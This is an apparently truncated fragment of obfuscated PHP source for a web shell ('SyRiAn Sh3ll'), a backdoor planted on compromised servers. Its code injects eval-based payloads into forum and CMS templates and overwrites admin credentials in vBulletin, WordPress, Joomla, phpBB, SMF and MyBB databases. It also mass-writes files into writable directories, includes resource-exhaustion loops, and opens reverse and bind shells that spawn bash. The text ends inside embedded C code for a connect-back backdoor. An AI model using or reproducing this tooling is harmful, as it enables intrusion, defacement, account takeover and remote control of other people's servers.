'\162\x65\x6e\x61\x6de') + {\144o\x63\x75m\x65\156t.\147\145tE\154em\145\x6e\164B\171\111d('\156\145\x77N\141\x6de').\151\x6e\156er\110TM\114 = '<input type=\"text\" name=\"\x6e\145w\x4e\x61\x6d\145\" value=\"ne\167\x4e\141\155\x65.\x74x\x74\" size=\"25\" /> '; } + \x65\154\x73\x65 if (\144\x6f\143\165\x6de\x6e\164.get\x45\154\x65m\145n\x74\102\x79\111d('\141\x63\164\151\x6f\x6e\124\x79p\x65').value == '\x63o\x70y') + {d\x6f\x63\x75me\x6e\x74.\x67\x65\164El\x65m\145\x6e\164\102\171Id('n\145\x77N\x61me').\151nn\x65r\x48\x54\115\114 = '<input type=\"text\" name=\"new\116\x61\155\x65\" value=\"\x43op\171Na\x6d\145.\164\x78\164\" size=\"25\" /> '; } + \145\x6c\163e \151f (d\157\143u\155\145n\164.\147e\x74E\154e\155\x65\156\164\x42y\111d('\x61c\x74\x69o\x6eT\x79\160e').value == '\x63\x72\x65\x61te\x46\x69\154\x65') + {d\x6fc\x75\x6d\x65\156\164.\147\x65\x74El\145\x6de\x6e\164B\171\x49\x64('\x6eew\116\x61m\145').i\x6e\156\145rHT\115\x4c = '<input type=\"text\" name=\"n\x65\167\116\141\155\145\" value=\"\x46\151\x6c\145 C\x6f\156t\x65\x6et\" size=\"25\" /> '; } + \145\x6cs\x65{\144\157c\165\155\x65n\x74.g\x65\164\105le\155\x65\156\x74\x42\171I\144('\x6ee\167N\141\155\x65').\x69\156n\145\162\x48\x54\x4d\x4c = '';} + + \151\146(do\x63um\x65\x6e\x74.\147\145\164E\x6ce\155e\x6e\164\102\x79\111\x64('\x61\143\164io\156\x54\x79\160\x65').value == 'deleteFolder' || d\157c\x75\155\x65\x6e\x74.\x67etE\x6c\x65m\x65n\164\102yId('\x61c\x74\151\157\156\x54ype').value == '\x63r\x65ateF\157\154d\145\x72') + {do\143u\155e\156t.get\105\x6c\145\155entB\171Id('\145\144\151\164\x46\151\x6c\145').value = 'folderName';} + \x65\154\x73\145{d\157\143\x75\155\x65nt.g\x65\x74\x45l\x65\155\145\x6e\164\x42\171I\x64('e\x64\x69\164\106\x69\154e').value = 'index.t\170t';} +} + </\163c\x72\151pt> + </hea\x64>"; if($_GET['id'] == '' && $_GET['info'] == ''){$css .= "<sc\x72\x69\160\x74>\167i\x6e\x64\x6fw.l\157\x63a\x74i\157\156 = '?\x69\x64=\x6da\x69n\120\141\147e';</\x73c\x72i\160t>";} return $css; } function Logout() { print "<\163\143\x72i\160t> + d\x6f\x63\x75\x6de\x6et.\x63\x6f\x6f\153\x69\x65='user='; + \x64\x6f\143\165\x6de\156\164.c\x6f\157\x6b\x69e='pass='; + \x76\x61\162 url = \x77\151\156\144\x6f\167.\x6coc\x61\164i\157\156.p\x61\x74\x68\x6e\x61\155\145; + \166\141r filename = url.\163u\142\163\x74r\151\x6e\x67(url.la\x73t\x49nd\145x\117f('/')+1); + \167\x69\156d\157w.l\x6f\143\x61\x74i\157\156=filename; + </\x73\143\162\x69pt>"; } function About() { $about = " +<tab\154e \x62\147c\x6f\x6c\157\162=#cc\143\x63\143\143 \167\151dt\150=\"100%\"> +<t\142\x6f\144\171><\x74r><td w\x69\144\164h=1025> +<\144\x69\x76 \141\x6cig\156=ce\x6et\x65\x72><i\x6d\147 \163\162\143='\x68\x74t\x70://\x77\167\x77.\163\x79\162\x69a\x6e-shell.co\x6d/\145\141\147\154e.\152\x70\x67' \141\154t='\x53\x79\x52iAn S\x68\x33\154\x6c'><\x62\x72> +</\144\x69v> +<\x73y><\x64\x69\166 \141l\151\147n=\x63ent\x65\x72>C\157\x64\145\144 \x42\x79 : EH << \x53yR\x69\x41\156 | 34\107\061\x33</div></sy> +<\163\171><\x64iv al\151\147n=c\145n\x74\145\x72>\106\x72o\155 </\146o\x6e\x74>: S\x79\122i\101n \101r\x61b\x69\x63 \x52e\160\x75\x62lic </\144\151v></\163\x79> +<sy><\x64i\166 a\x6c\x69\147n=\143e\156t\x65r>\101g\145 : 4/1991<b\x72></\x64\x69\166></s\171> +<\163\171><di\166 a\154\x69\x67\156=\x63\145\x6et\x65\x72>\124h\x61n\170 : [ \x41\154la\x68 ] [ \x48\x61\156\x69WT ] [ Sy\x52\151A\x6e_S\x6e\x49p\105r ] [ Sy\x52\151\x41\156_\123\160I\144E\x72 ] [ \x54N\124 H\141ck\x65\x72 ]</\144i\x76></\x73y> +<\163y><d\x69v ali\147\x6e=\x63\145\156ter>\x54\150an\170 : \155y \163\143\x68\x6f\x6f\154 : [ \167w\167.google.\143o\155 ] :)</d\151\166></\x73y> +<s\171><\142r><\144i\166 alig\156=c\x65\156\x74er>B\x33 \x43\162\0634T!V\063 0R \x44!3 \x54Ry!n\x47 </\144\x69v></\x73y> +<b\162/> +<c\145\156t\x65r> +<\142\162/> + <\x66or\155 method='\x70\x6f\163\x74' a\143\x74i\x6f\x6e=''>"; $ipi = getenv("\122\105MO\x54\105_A\104\104\122"); $httprefi = getenv ("H\124\124\x50_\x52\x45F\105\x52E\122"); $httpagenti = getenv ("H\x54\124\x50_U\123\105\x52_\101\x47\105\116\x54"); $about .= ' + <input type="hidden" name="ip" value="<?php echo $ipi ?>" /> + <input type="hidden" name="httpref" value="<?php echo $httprefi ?>" /> + <input type="hidden" name="httpagent" value="<?php echo $httpagenti ?>" /> + <input type="text" id="Your Name" name="visitor" size="35" value="Your Name" onblur="Blur(\'Your Name\',\'Your Name\');" onclick="Clear(\'Your Name\',\'Your Name\');"/><br /> + <input type="text" id="Email" name="visitormail" size="35" value="Email" onblur="Blur(\'Email\',\'Email\');" onclick="Clear(\'Email\',\'Email\');" /><br /> + <textarea name="notes" id="messageText" rows="7" cols="25" onblur="Blur(\'messageText\',\'Mail Message\');" onclick="Clear(\'messageText\',\'Mail Message\');">Mail Message</textarea><br /> + <input type="submit" value="Send Mail" name="sendEmail" /><br /> + </form> + '; return $about; } function i1iOiooI011Ioo0o($url) { $i0o1iOil1oIoI0I1 = curl_init(); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_FOLLOW, 0); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_HEADER, 1); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_URL, $url); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_RETURNTRANSFER, 1); curl_setopt($i0o1iOil1oIoI0I1, CURLOPT_TIMEOUT, 30); $data = curl_exec($i0o1iOil1oIoI0I1); if($data) {return $data;} else {return 0;} } function iilO1iIi11i10io0($text) {return htmlspecialchars($text, ENT_QUOTES);} function ii10i1O10IIIOi11($scriptType,$index,$prefix,$injectShellType) { +if ($scriptType == 'vb') { $i00llooOi1l0iIio = "{\${e\166a\154(\x62a\x73\145\x36\x34_\144\x65\x63ode(\'"; $i00llooOi1l0iIio .= base64_encode("e\143\x68\x6f \"$index\";"); $i00llooOi1l0iIio .= "\'))}}{\${e\x78\x69\164()}}</\x74\145\170\164\x61\x72\x65a>"; if($injectShellType == 'faq') { $shell = mysql_query("U\x50DA\124\x45 \164e\155\160\154\x61\x74\145 SE\x54 t\145mp\x6c\141te ='".$i00llooOi1l0iIio."' \x57H\105\x52\x45 \x74\151\x74\154\145 ='\146a\161'"); } else if($injectShellType == 'calendar') { $shell = mysql_query("U\120\x44A\124\x45 t\145\155\x70\154\141t\145 \x53\105\124 \164\145\x6d\x70la\164\x65 ='".$i00llooOi1l0iIio."' WH\x45\122\x45 \164\x69\x74\154\x65 ='\143\141l\x65n\x64\x61r'"); } else if($injectShellType == 'search') { $shell = mysql_query("U\120\x44\x41TE \x74\x65mp\154\x61\164\x65 \x53\105T t\145\155\160la\164\x65 ='".$i00llooOi1l0iIio."' \127\110\x45\122\105 \164\x69\x74\154\145 ='\163e\141\x72\143\x68'"); } else { $ioO0l1OOl11iIl0I = mysql_query("U\x50\x44A\124E t\145mp\x6cat\x65 S\105T \164\x65mp\x6c\x61\x74e ='".$i00llooOi1l0iIio."' W\110E\122\105 \x74\151\164\154e ='f\157\162\165m\x68\x6fm\x65'"); if (!$ioO0l1OOl11iIl0I) {$iII0llOi0oO0IO0I = mysql_query("U\120D\x41\124E \x74\145\x6d\x70\154\x61t\x65 \x53\x45T t\x65\x6dp\x6ca\x74e ='".$i00llooOi1l0iIio."' \127\110\105\x52\x45 \164\x69\164l\145 ='\x68\x65\x61\144\145\x72'");} elseif (!$iII0llOi0oO0IO0I) {$ilo11l0100o1Iii1 = mysql_query("\x55PD\x41T\105 te\x6dpl\x61\x74\145 \123\105\124 te\155\160l\141t\145 ='".$i00llooOi1l0iIio."' \x57H\x45\x52\x45 \x74\x69\x74\x6c\145 ='\163\160a\x63\x65r_\x6fpen'"); } } mysql_close(); if ($ioO0l1OOl11iIl0I || $iII0llOi0oO0IO0I || $ilo11l0100o1Iii1 || $shell){update();} else {echo "\x55p\144\141tin\x67 \x48\141\163 \x46\141i\x6ced !";} } else if ($scriptType == 'wp') { $i011l0ooOOl1oIo0 = $prefix."\160\x6f\163ts" ; $ioO0l1OOl11iIl0I = mysql_query("UP\104A\124E $i011l0ooOOl1oIo0 S\x45\124 p\x6f\x73\x74_\x74it\154\145 ='".$index."' W\x48E\122\105 \111D > 0 "); if(!$ioO0l1OOl11iIl0I) {$iII0llOi0oO0IO0I = mysql_query("\x55\x50D\x41T\105 $i011l0ooOOl1oIo0 \x53E\124 \160o\x73\164_c\157\156\x74\x65\x6et ='".$index."' W\x48\105RE \x49\104 > 0 "); } elseif(!$iII0llOi0oO0IO0I) {$ilo11l0100o1Iii1 = mysql_query("\125PD\x41TE $i011l0ooOOl1oIo0 \123ET \160\157\163\164_nam\x65 ='".$index."' \x57HE\x52\x45 \111D > 0 "); } mysql_close(); if ($ioO0l1OOl11iIl0I || $iII0llOi0oO0IO0I || $ilo11l0100o1Iii1){update();} else {echo "\x55p\x64a\164\151\x6e\x67 Ha\163 F\141\x69le\x64 !";} } else if ($scriptType == 'jos') { $iO01iO10i1O1I001 = $prefix."m\145\156u" ; $ill1i0iO1lloI1O1 = $prefix."\155o\144u\x6c\x65\x73" ; $ioO0l1OOl11iIl0I = mysql_query("\x55\120\104AT\105 $iO01iO10i1O1I001 S\x45T name ='".$index."' \x57\x48\x45\122E I\x44 > 0 "); if(!$ioO0l1OOl11iIl0I) {$iII0llOi0oO0IO0I = mysql_query("U\x50D\x41\124E $ill1i0iO1lloI1O1 \x53E\x54 \164\x69tl\x65 ='".$index."' \127H\105RE ID > 0 ");} mysql_close(); if ($ioO0l1OOl11iIl0I || $iII0llOi0oO0IO0I || $ilo11l0100o1Iii1){update();} else {echo "U\160\144\x61\164i\x6eg H\141\x73 \106a\x69l\145\144 !";} } else if ($scriptType == 'phpbb') { $il1oliO1lO1iI00o = $prefix."\146\157r\165\x6d\163"; $il00i1Oli10oIi11 = $prefix."\160\x6f\x73\x74\163"; $ioO0l1OOl11iIl0I = mysql_query("\125\x50\104\x41T\105 $il1oliO1lO1iI00o \123\105\x54 \x66or\x75\x6d_n\141m\x65 ='".$index."' \x57\x48\105\122E \x66\157\x72\165\x6d_\151d > 0 "); if(!$ioO0l1OOl11iIl0I) {$iII0llOi0oO0IO0I = mysql_query("\125PD\101T\105 $il00i1Oli10oIi11 \x53\105\x54 \160o\x73\x74_\x73\165\142je\x63\164 ='".$index."' W\x48\x45\x52\x45 \160o\x73t_\x69d > 0 "); } mysql_close(); if ($ioO0l1OOl11iIl0I || $iII0llOi0oO0IO0I || $ilo11l0100o1Iii1){update();} else {echo "Up\x64\141t\x69\156\147 H\x61\163 \106\x61\151\154e\144 !";} } else if ($scriptType == 'ipb') { $ioO1l0l0l0olIOOl = $prefix."c\157\155\160o\156\145\156t\x73" ; $ioIlloloiOioIO1l = $prefix."f\157ru\155s" ; $iI11101olOiiIoO0 = $prefix."\x70\x6fs\x74\x73" ; $ioO0l1OOl11iIl0I = mysql_query("\125\120\x44\x41\x54\x45 $ioO1l0l0l0olIOOl \123\105\124 c\157m_\x74\151\x74l\x65 ='".$index."' W\x48\x45R\105 \143o\155_i\x64 > 0"); if(!$ioO0l1OOl11iIl0I) {$iII0llOi0oO0IO0I = mysql_query("UP\x44A\124\x45 $ioIlloloiOioIO1l S\x45T name ='".$index."' \x57\110\105\x52\x45 id > 0"); } if(!$iII0llOi0oO0IO0I) { $ilo11l0100o1Iii1 = mysql_query("\125P\x44A\x54\x45 $iI11101olOiiIoO0 \123E\124 \160\157\163\x74 ='".$index."' \127\x48E\122E pid <10") or die("C\141\x6e't \125\x70\144\141\164\x65 Tem\x70l\141\164\x65s !!"); } mysql_close(); if ($ioO0l1OOl11iIl0I || $iII0llOi0oO0IO0I || $ilo11l0100o1Iii1){update();} else {echo "Upd\141t\x69\x6eg \110as \106a\151led !";} } else if ($scriptType == 'smf') { $iliiiOoo0oi1iI0I = $prefix."b\157\x61\x72\x64\x73" ; {$ioO0l1OOl11iIl0I = mysql_query("\125PDA\x54\x45 $iliiiOoo0oi1iI0I S\105\124 \144e\163\x63\x72i\160t\x69\157\x6e ='".$index."' \127\110E\x52E \111\104_B\117\101\x52\x44 > 0");} if(!$ioO0l1OOl11iIl0I){$iII0llOi0oO0IO0I = mysql_query("\x55PDAT\x45 $iliiiOoo0oi1iI0I \x53\x45\124 name ='".$index."' W\x48\x45\x52\105 I\104_\x42\x4f\x41RD > 0");} mysql_close(); if ($ioO0l1OOl11iIl0I || $iII0llOi0oO0IO0I){update();} else {echo "\x55\160da\164\x69\156\x67 \110\x61\x73 Fa\x69\154e\x64 !";} } else if ($scriptType == 'mybb') { $ioi1iio0o1o1I11o = $prefix."te\155\160\x6cates"; $ii1OlloO1iiOIio0 = mysql_query(" update $ioi1iio0o1o1I11o \163et t\x65\155\x70\x6cate='".$index."' \x77\150\x65\162\145 tit\154\x65='index' "); if ($ii1OlloO1iiOIio0){update();} else {echo "\x55\x70d\x61\164\151\x6eg Has F\141\151le\x64 !";} mysql_close(); } } function i01IiIiilloIOIOO() { iioO1iiiOOoIi1l0($ScriptType); +iIO0io1IO0OI1lii($host,$user,$pass,$dbName); ii10i1O10IIIOi11($ScriptType,$index,$prefix,$i0lIioiO0ioiIo1i); } function changeInfo($ScriptType,$adminID,$userName,$password) { if($ScriptType == 'vb') { +$password = md5($password); $iOIl1o000llilI11 = mysql_query("\x55\x50D\x41TE user \x53\x45\x54 username = '".$userName."' , password = '".$password."' W\x48\x45\x52\x45 use\162\151d = ".$adminID.""); if($iOIl1o000llilI11) {update();} else {echo "\x45\162\x72or !!";} } else if($ScriptType == 'wp') { +$password = crypt($password); $iOIl1o000llilI11 = mysql_query("\x55PD\101\124\x45 \x77p_\x75\x73\x65\162\x73 \x53E\x54 \165\163\x65\162_\x6c\157\147in = '".$userName."' , u\163\145r_\160\141\x73s = '".$password."' \x57\x48\105\122E \111\104 = ".$adminID.""); if($iOIl1o000llilI11) {update();} else {mysql_error();} } else if($ScriptType == 'jos') { +$password = crypt($password); $iOIl1o000llilI11 = mysql_query("\x55\x50\x44\x41\124\105 j\157s_\165\163ers \x53\105\x54 username ='".$userName."' , password = '".$password."' \127\110\x45\x52E I\x44 = ".$adminID.""); if($iOIl1o000llilI11) {update();} else {mysql_error();} } else if($ScriptType == 'phpbb') { +$password = md5($password); $iOIl1o000llilI11 = mysql_query("\125\120\104\x41\124E p\x68\x70\x62b_us\145\x72\x73 \x53\x45\x54 username ='".$userName."' , \165\163er_\160\141\x73\163\167\157\162\144 = '".$password."' \x57\110\105R\105 user_id = ".$adminID.""); if($iOIl1o000llilI11) {update();} else {mysql_error();} } else if($ScriptType == 'ibf') { +$password = md5($password); $iOIl1o000llilI11 = mysql_query("U\120\104\x41\x54\x45 \x69\x62\x66_\155\x65m\x62\x65\x72\163 S\x45T name ='".$userName."' , \x6d\145\x6db\145\x72_l\x6fg\x69\156_\x6bey = '".$password."' \x57HE\122\x45 \x69\144 = ".$adminID.""); if($iOIl1o000llilI11) {update();} else {mysql_error();} } else if($ScriptType == 'smf') { +$password = md5($password); $iOIl1o000llilI11 = mysql_query("\125PDATE \x73\x6d\x66_\155\x65m\x62\x65r\163 \123\105T me\155b\145\162N\x61m\x65 ='".$userName."' , passwd = '".$password."' W\110\x45\x52\105 I\104_\115E\115B\x45R = ".$adminID.""); if($iOIl1o000llilI11) {update();} else {mysql_error();} } else if($ScriptType == 'mybb') { +$password = md5($password); $iOIl1o000llilI11 = mysql_query("U\120\x44\x41\124\x45 \155\171b\x62_\x75\x73\145\162\163 S\x45\124 username ='".$userName."' , password = '".$password."' \127\110ER\105 uid = ".$adminID.""); if($iOIl1o000llilI11) {update();} else {mysql_error();} } } function UnZip($fileName,$currentPath) { if(class_exists('ZipArchive')) { $zip = new ZipArchive; $i0IoililO0ooIl01 = $zip->open($fileName); if ($i0IoililO0ooIl01 === TRUE) {$zip->i101i1O1O01Il0Il($currentPath);$zip->close();} } else{$iOo0li0ioo0IoOo0 = 'unzip '.$fileName;Exe($iOo0li0ioo0IoOo0);} } function iOIoi1lOOI00I10I($fileName,$path) { $path = $path."\\".$fileName; $zip = new ZipArchive; if ($zip->open($fileName) === TRUE) { $zip->iIIiilillIoOOI0l($path,$fileName); $zip->iIIiilillIoOOI0l($path,$fileName); $zip->close(); } } function DeleteFile($fileName) { global $os; $iiiIi01o0O0IIIOi = unlink($fileName); if(!$iiiIi01o0O0IIIOi) { if($os == "Windows") { $iiI0io0lillIi1ol = "d\x65\x6c ".$fileName; $iiiIi01o0O0IIIOi = Exe($iiI0io0lillIi1ol); } elseif(!$iiiIi01o0O0IIIOi) { $iiI0io0lillIi1ol = "r\x6d -f ".$fileName; $iiiIi01o0O0IIIOi = Exe($iiI0io0lillIi1ol); } if($iiiIi01o0O0IIIOi){return true;}else{return false;} } } function DeleteFolder($folderName) { global $os; $iiiIi01o0O0IIIOi = rmdir($folderName); if(!$iiiIi01o0O0IIIOi) { if($os == "Windows") { $iiI0io0lillIi1ol = "\x72\155d\x69\162 ".$folderName; $iiiIi01o0O0IIIOi = Exe($iiI0io0lillIi1ol); } elseif(!$iiiIi01o0O0IIIOi) { $iiI0io0lillIi1ol = "r\155 -\162 ".$folderName; $iiiIi01o0O0IIIOi = Exe($iiI0io0lillIi1ol); } if($iiiIi01o0O0IIIOi){return true;}else{return false;} } } function i0IOlii1OIloli0l($result) { $fields = Array(); for ($i = 0; $i < mysql_num_fields($result); $i++) {array_push($fields, mysql_field_name($result, $i));} return $fields; } function io0li01lioliIl1i($i01OloOoOoIolili,$ioolioiillOiIl01,$iiOi10ii1il0IIOi) { $i1oii11lil01IoI0="\\"; $il1Ii0i0oiO0IlIi=0; if ($iiii10l0iolIIiii = opendir($i01OloOoOoIolili)) { iii0li0iIOii1III($ioolioiillOiIl01,$iiOi10ii1il0IIOi); while ($file = readdir($iiii10l0iolIIiii)) { $illI1lO1iO1oII11 = str_replace('//','/',$i01OloOoOoIolili.$i1oii11lil01IoI0.$file); if($file!='.' && $file!='..' && is_dir($illI1lO1iO1oII11)) { if (is_writable($illI1lO1iO1oII11)) { if ($ii1O1i0il11I01IO=fopen($illI1lO1iO1oII11.$i1oii11lil01IoI0.$ioolioiillOiIl01,"w")) { fwrite($ii1O1i0il11I01IO,$iiOi10ii1il0IIOi); fclose($ii1O1i0il11I01IO); $iIOilo1O100IloO0[$il1Ii0i0oiO0IlIi]['filename']=$illI1lO1iO1oII11; } $il1Ii0i0oiO0IlIi++; } io0li01lioliIl1i($illI1lO1iO1oII11); } } closedir($iiii10l0iolIIiii); } +else {return ("\156\x6ft\160\145\162\155");} if ($iIOilo1O100IloO0){return $iIOilo1O100IloO0;} else{return "n\157\164fou\x6e\x64";} } function ilOi1ollol1Il0Oi() { $iloIio1Ol1l1IOI1=str_repeat("99999999999999999999999999999999999999999999999999",99999); for($i=0;$i<2;) { $iO1ilO1OiiIo1oO0=bcpow($iloIio1Ol1l1IOI1, '3', 2); $iO1ilO1OiiIo1oO0=null; } } function cx() {cx();} function ii0o1liIoiOoO0lo($iIO1111OOi0lIo0l) { switch($iIO1111OOi0lIo0l) { case "\x75\x64\x70": $i1lOillOOlilI11o = SOL_UDP; $iIiO111ll11OI1lO = SOCK_DGRAM; break; case "\x74\x63\160": default: $i1lOillOOlilI11o = SOL_TCP; $iIiO111ll11OI1lO = SOCK_STREAM; break; } return(array($i1lOillOOlilI11o, $iIiO111ll11OI1lO)); } function ioooliOIi10i0Iio($hostname, $port=80, $iIO1111OOi0lIo0l="t\143p") { $address = gethostbyname($hostname); list($i1lOillOOlilI11o, $iIiO111ll11OI1lO) = ii0o1liIoiOoO0lo($iIO1111OOi0lIo0l); switch($iIO1111OOi0lIo0l) { case "\x75d\x70": $i1lOillOOlilI11o = SOL_UDP; $iIiO111ll11OI1lO = SOCK_DGRAM; break; case "\x74\143\160": default: $i1lOillOOlilI11o = SOL_TCP; $iIiO111ll11OI1lO = SOCK_STREAM; break; } $socket = socket_create(AF_INET, $iIiO111ll11OI1lO, $i1lOillOOlilI11o); if ($socket < 0) { echo "\163\x6f\143\153et_\x63\x72\145\141\x74\x65() f\x61\x69l\x65d: r\x65\x61s\157\x6e: " . socket_strerror($socket) . "\n"; } $result = socket_connect($socket, $address, $port); if ($result < 0) { echo "s\157\143\153\145\164_\143o\156n\145\x63\164() \x66aile\144.\nR\x65\x61\163\157\156: ($result) " . socket_strerror($result) . "\n"; } return $socket; } function iliO10O0IIiiOli1($address, $port) { if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) { echo "\x73\157\x63\x6be\x74_c\x72\x65at\x65() \146\141\x69le\144: \x72\x65as\x6fn: " . socket_strerror($sock) . "\n"; return(-1); } if (($iIl0ll1lo0l0I1IO = socket_bind($sock, $address, $port)) < 0) { echo "\x73\x6f\x63k\x65\164_\142\151\156\x64() f\141\x69\154e\x64: reaso\156: " . socket_strerror($iIl0ll1lo0l0I1IO) . "\n"; return(-2); } if (($iIl0ll1lo0l0I1IO = socket_listen($sock, 5)) < 0) { echo "\x73\x6f\143\x6b\x65t_\154iste\156() \x66\141\x69\x6c\x65d: r\145\x61\163\x6f\156: " . socket_strerror($iIl0ll1lo0l0I1IO) . "\n"; return(-3); } return($sock); } function ilII1oOlIo10I0oi($type, $shell, $port, $host) { $shell = 'export TERM=xterm; bash -i'; if($type == "c\142") {$ill0l11oO0i1IOIO = ioooliOIi10i0Iio($host, $port, "\164\x63\160");} elseif ($type == "\160\x62") { $iO0Ol0li0lilIIo1 = iliO10O0IIiiOli1($host, $port); if (($ill0l11oO0i1IOIO = socket_accept($iO0Ol0li0lilIIo1)) < 0) {return "\x73\157ck\x65\164_a\143\x63\x65\x70t() \x66a\x69l\145d: re\x61son: " . socket_strerror($ill0l11oO0i1IOIO) . "\n";} } else {return "\105rr\x6fr n\157 \143o\x6e\x6eect\x69\x6fn \144e\164ai\154\x73 \x73p\145\143i\146\x69\145\144!";} set_time_limit(9000); $i0ii10l00loI0IiI = array( 0 => array("\160\x69\x70e", "\162"), 1 => array("\160\151\x70\x65", "\167"), 2 => array("\x70ip\145", "\167") ); $process = proc_open($shell, $i0ii10l00loI0IiI, $ilOIi1011iloIl1I); if (is_resource($process)) { $iOli100ooiioiIll = 1; do { $ii1I1Ooool01oIi1 = array($ill0l11oO0i1IOIO); $iiOol1oOii0OIilO = socket_select($ii1I1Ooool01oIi1, $write = NULL, $ilo11iOO11OIl11O = NULL, 0); if ($iiOol1oOii0OIilO === false) { +$iOli100ooiioiIll = 0; } else if ($iiOol1oOii0OIilO > 0) { foreach($ii1I1Ooool01oIi1 as $iI1oio1lOoo0I1oI => $v) { if($v == $ill0l11oO0i1IOIO) { if(socket_last_error($ill0l11oO0i1IOIO) > 0) $iOli100ooiioiIll = 0; if($iOli100ooiioiIll == 1 && false == ($iIlol0ioiOIli1o1 = socket_read($ill0l11oO0i1IOIO, 2048, PHP_NORMAL_READ))) $iOli100ooiioiIll = 0; fwrite($ilOIi1011iloIl1I[0], $iIlol0ioiOIli1o1); } } } $iOIo1OoooloiiIIo = array($ilOIi1011iloIl1I[1], $ilOIi1011iloIl1I[2]); $iolli1oo1l01II0o = stream_select($iOIo1OoooloiiIIo, $write = NULL, $ilo11iOO11OIl11O = NULL, 0); if ($iolli1oo1l01II0o === FALSE) { $iOli100ooiioiIll = 0; } else if ($iolli1oo1l01II0o > 0) { foreach($iOIo1OoooloiiIIo as $iI1oio1lOoo0I1oI => $v) { if($iOli100ooiioiIll == 1 && false == ($iIlol0ioiOIli1o1 = fread($v, 2048))) $iOli100ooiioiIll = 0; socket_write($ill0l11oO0i1IOIO, $iIlol0ioiOIli1o1, strlen($iIlol0ioiOIli1o1)); } } } while($iOli100ooiioiIll == 1); } else {return "\x45rro\x72 e\170\145c\165\x74i\x6eg shell " . $shell;} } function i1O11101l1IllolO($iIOl10o0OilO0Ili = '/tmp', $compiler = 'gcc', $host, $port) { $shell = "#\x69nc\x6c\165\x64e <\x73t\x64\x69\157.\x68>\n" . "#\151\156\143l\165de <\163y\x73/socket.\x68>\n" . "#\x69n\x63lud\145 <n\145t\151\156\x65t/i\x6e.\x68>\n" . "#\151nc\x6c\x75d\x65 <\141r\160a/\151\156e\164.h>\n" . "#in\143\x6cud\x65 <\x6e\145td\142.\150>\n" . "\x69\156t \x6da\x69\x6e(\151n\x74 \141\162g\143, \143\x68\141\162 **\x61r\x67\166) {\n" . " \143h\141\x72 *host;\n" . " \151\156t port = 80;\n" . " \x69\x6et f;\n" . " int l;\n" . " \x69\x6e\x74 sock;\n" . " \x73\164\x72\165\143t \151\x6e_\x61d\144\x72 \151a;\n" . " \163\164\x72\165\x63\x74 \x73\157\143k\141\x64\x64\162_\x69n \163\151\x6e, \146r\157\x6d;\n" . " s\x74\162uc\164 h\x6fsten\x74 *h\x65;\n" . " \x63h\141\162 msg[ ] = \"\x57\145l\x63\x6f\x6d\145 to D\x61t\141 \x43\150\x61\x30\163 \x43onn\x65c\164 \102\x61\x63\153 \x53\150e\154\x6c\\n\\n\"\n" . " \"\x49s\163\165\145 \\\"e\170\160\157\162t T\105R\x4d=\170t\x65rm; e\x78\145\143 ba\x73\150 -i\\\"\\n\"\n" . " \"\106\x6fr \115\x6f\162\145 \122\145\154i\x61\x62l\x65 S\150\x65\x6cl.\\n\"\n" . " \"\111\x73s\x75\x65 \\\"\x75\x6e\163et H\111ST\106\111\114\x45; u\x6es\x65\164 \x53\101V\x45\110\111S\124\\\"\\n\"\n" . " \"\x46\157\162 N\x6ft \x47\145tti\x6e\147 \114\157g\x67\145\144.\\n(;\\n\\n\";\n" . " \x70\162\x69ntf(\"Da\x74\x61 \103\x68\x61\060\163 \103onne\143\164 \102ack \x42\141ck\x64o\157\162\\n\\n\");\n" . " \x69\146 (ar\x67\143 < 2 || \141r\147\143 > 3) {\n" . " \160\162i\x6etf(\"\x55\x73\141ge: %s [\110\157s\164] <port>\\n\", \x61r\x67\x76[0]);\n" . " retu\162\156 1;\n" . " }\n" . " \x70\x72\151nt\146(\"[*] D\165\155pi\156\x67 \x41\x72gume\x6et\163\\n\");\n" . " \x6c = s\164\x72le\x6e(a\x72\147\166[1]);\n" . " i\x66 (\x6c <= 0) {\n" . " pr\x69\x6e\164\146(\"[-] I\156v\141\154\x69\144 \110\x6fst \116\x61\155\x65\\n\");\n" . " re\x74u\162n 1;\n" . " }\n" . " if (!(host = (\x63h\141r *) \x6da\154\154\x6f\x63(\x6c))) {\n" . " \x70\162i\x6e\x74\x66(\"[-] U\x6eabl\x65 to \x41\x6c\x6coc\141\x74\145 M\145\x6d\157\x72\x79\\n\");\n" . " ret\165\162\156 1;\n" . " }\n" . " \x73t\162\x6e\143py(host, \141r\x67v[1], l);\n" . " \x69f (\141\162g\143 == 3) {\n" . " port = a\164\x6f\x69(\141\x72\x67\166[2]);\n" . " if (port <= 0 || port > 65535) {\n" . " \160\162\x69\x6etf(\"[-] I\x6e\166\x61\154\151\144 \120o\162t \x4e\x75\x6d\x62\145\162\\n\");\n" . " \162\x65tu\x72\x6e 1;\n" . " }\n" . " }\n" . " \x70ri\x6et\x66(\"[*] R\x65s\x6fl\x76\x69\x6e\147 \x48\157st \x4e\141\155\145\\n\");\n" . " h\x65 = \x67et\x68\157\163\x74b\x79\x6e\141m\145(host);\n" . " i\146 (\x68\x65) {\n" . " me\x6dcpy(&\151\141.\x73_\x61\x64\144r, he->i1OIi00ooOo0Iiii, 4);\n" . " } \145\154se if ((i\141.\x73_\141\144\x64r = in\145\x74_a\x64dr(host)) == \111\116ADD\x52_A\x4e\131) {\n" . " \160\162\x69n\164\146(\"[-] \x55\x6e\x61b\154\145 to \x52\145\x73o\154v\x65: %s\\n\", host);\n" . " \x72\x65\x74u\162\156 1;\n" . " }\n" . " \x73\151\x6e.\163\151\156_\x66\x61\155\151ly = \120F_\111N\x45T;\n" . " \x73\x69n.\x73\151\156_a\144\144\x72.s_\141\144\x64\162 = \151\x61.s_\x61\144\144\162;\n" . " \163\151\156.\x73\151\x6e_\160\157r\164 = \x68\164o\156s(port);\n" . " \x70\162\151n\164f(\"[*] \x43\x6f\x6enec\x74\151\156\x67...\\n\");\n" . " \x69\146 ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n" . " pri\x6e\x74f(\"[-] S\157c\153\x65\x74 \x45\162ro\162\\n\");\n" . " \x72\x65\164\x75\x72n 1;\n" . " }\n" . " \x69\146 (connect(sock, (\x73\x74r\165\x63\164 s\157\x63k\141d\144\162 *)&s\151n, \x73iz\145o\x66(\x73in)) != 0) {\n" . " \x70\x72i\x6e\x74\x66(\"[-] Una\x62l\145 to \x43onn\x65ct\\n\");\n" . " r\145\x74u\162n 1;\n" . " }\n" . " \160r\151\x6e\x74f(\"[*] 